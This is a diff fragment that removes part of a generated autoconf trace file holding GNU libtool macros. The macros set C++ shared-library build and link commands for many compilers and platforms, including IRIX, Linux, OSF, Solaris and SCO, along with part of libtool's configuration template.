- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
- irix5* | irix6*)
- case $cc_basename in
- CC*)
- # SGI C++
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- # Archives containing C++ object files must be created using
- # "CC -ar", where "CC" is the IRIX C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs'
- ;;
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib'
- fi
- fi
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- ;;
- esac
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
- ;;
- icpc*)
- # Intel C++
- with_gnu_ld=yes
- # version 8.0 and above of icpc choke on multiply defined symbols
- # if we add $predep_objects and $postdep_objects, however 7.1 and
- # earlier do not add the objects themselves.
- case `$CC -V 2>&1` in
- *"Version 7."*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- *) # Version 8.0 or newer
- tmp_idyn=
- case $host_cpu in
- ia64*) tmp_idyn=' -i_dynamic';;
- esac
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
- ;;
- pgCC*)
- # Portland Group C++ compiler
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- ;;
- cxx*)
- # Compaq C++
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
-
- runpath_var=LD_RUN_PATH
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- esac
- ;;
- lynxos*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- m88k*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
- wlarc=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- fi
- # Workaround some broken pre-1.5 toolchains
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
- ;;
- openbsd2*)
- # C++ shared libraries are fairly broken
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- openbsd*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- fi
- output_verbose_link_cmd='echo'
- ;;
- osf3*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
-
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- cxx*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- osf4* | osf5*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Archives containing C++ object files must be created using
- # the KAI C++ compiler.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- cxx*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
- echo "-hidden">> $lib.exp~
- $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~
- $rm $lib.exp'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
- psos*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- lcc*)
- # Lucid
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_AC_TAGVAR(archive_cmds_need_lc,$1)=yes
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' -zdefs'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- case $host_os in
- solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
- *)
- # The C++ compiler is used as linker so we must use $wl
- # flag to pass the commands to the underlying system
- # linker. We must also pass each convience library through
- # to the system linker between allextract/defaultextract.
- # The C++ compiler will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
- ;;
- esac
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- output_verbose_link_cmd='echo'
-
- # Archives containing C++ object files must be created using
- # "CC -xar", where "CC" is the Sun C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs'
- ;;
- gcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-
- # The C++ compiler must be used to create the archive.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
- ;;
- *)
- # GNU C++ compiler with Solaris linker
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
- if $CC --version | grep -v '^2\.7' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- else
- # g++ 2.7 appears to require `-G' NOT `-shared' on this
- # platform.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- fi
-
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir'
- fi
- ;;
- esac
- ;;
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*)
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- # For security reasons, it is highly recommended that you always
- # use absolute paths for naming shared libraries, and exclude the
- # DT_RUNPATH tag from executables and libraries. But doing so
- # requires that you compile everything twice, which is a pain.
- # So that behaviour is only enabled if SCOABSPATH is set to a
- # non-empty value in the environment. Most likely only useful for
- # creating official distributions of packages.
- # This is a hack until libtool officially supports absolute path
- # names for shared libraries.
- _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- ;;
- vxworks*)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-esac
-AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)])
-test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
-
-_LT_AC_TAGVAR(GCC, $1)="$GXX"
-_LT_AC_TAGVAR(LD, $1)="$LD"
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-AC_LIBTOOL_POSTDEP_PREDEP($1)
-AC_LIBTOOL_PROG_COMPILER_PIC($1)
-AC_LIBTOOL_PROG_CC_C_O($1)
-AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
-AC_LIBTOOL_PROG_LD_SHLIBS($1)
-AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
-AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
-
-AC_LIBTOOL_CONFIG($1)
-
-AC_LANG_POP
-CC=$lt_save_CC
-LDCXX=$LD
-LD=$lt_save_LD
-GCC=$lt_save_GCC
-with_gnu_ldcxx=$with_gnu_ld
-with_gnu_ld=$lt_save_with_gnu_ld
-lt_cv_path_LDCXX=$lt_cv_path_LD
-lt_cv_path_LD=$lt_save_path_LD
-lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
-lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
-])
-m4trace:acinclude.m4:4343: -1- AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP], [
-dnl we can't use the lt_simple_compile_test_code here,
-dnl because it contains code intended for an executable,
-dnl not a library. It's possible we should let each
-dnl tag define a new lt_????_link_test_code variable,
-dnl but it's only used here...
-ifelse([$1],[],[cat > conftest.$ac_ext <<EOF
-int a;
-void foo (void) { a = 0; }
-EOF
-],[$1],[CXX],[cat > conftest.$ac_ext <<EOF
-class Foo
-{
-public:
- Foo (void) { a = 0; }
-private:
- int a;
-};
-EOF
-],[$1],[F77],[cat > conftest.$ac_ext <<EOF
- subroutine foo
- implicit none
- integer*4 a
- a=0
- return
- end
-EOF
-],[$1],[GCJ],[cat > conftest.$ac_ext <<EOF
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-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_cmds, $1)
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_new_cmds, $1)
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_[]_LT_AC_TAGVAR(archive_cmds, $1)
-archive_expsym_cmds=$lt_[]_LT_AC_TAGVAR(archive_expsym_cmds, $1)
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_[]_LT_AC_TAGVAR(module_cmds, $1)
-module_expsym_cmds=$lt_[]_LT_AC_TAGVAR(module_expsym_cmds, $1)
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_[]_LT_AC_TAGVAR(predep_objects, $1)
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_[]_LT_AC_TAGVAR(postdep_objects, $1)
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_[]_LT_AC_TAGVAR(predeps, $1)
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_[]_LT_AC_TAGVAR(postdeps, $1)
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_[]_LT_AC_TAGVAR(compiler_lib_search_path, $1)
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_[]_LT_AC_TAGVAR(allow_undefined_flag, $1)
-
-# Flag that forces no undefined symbols.
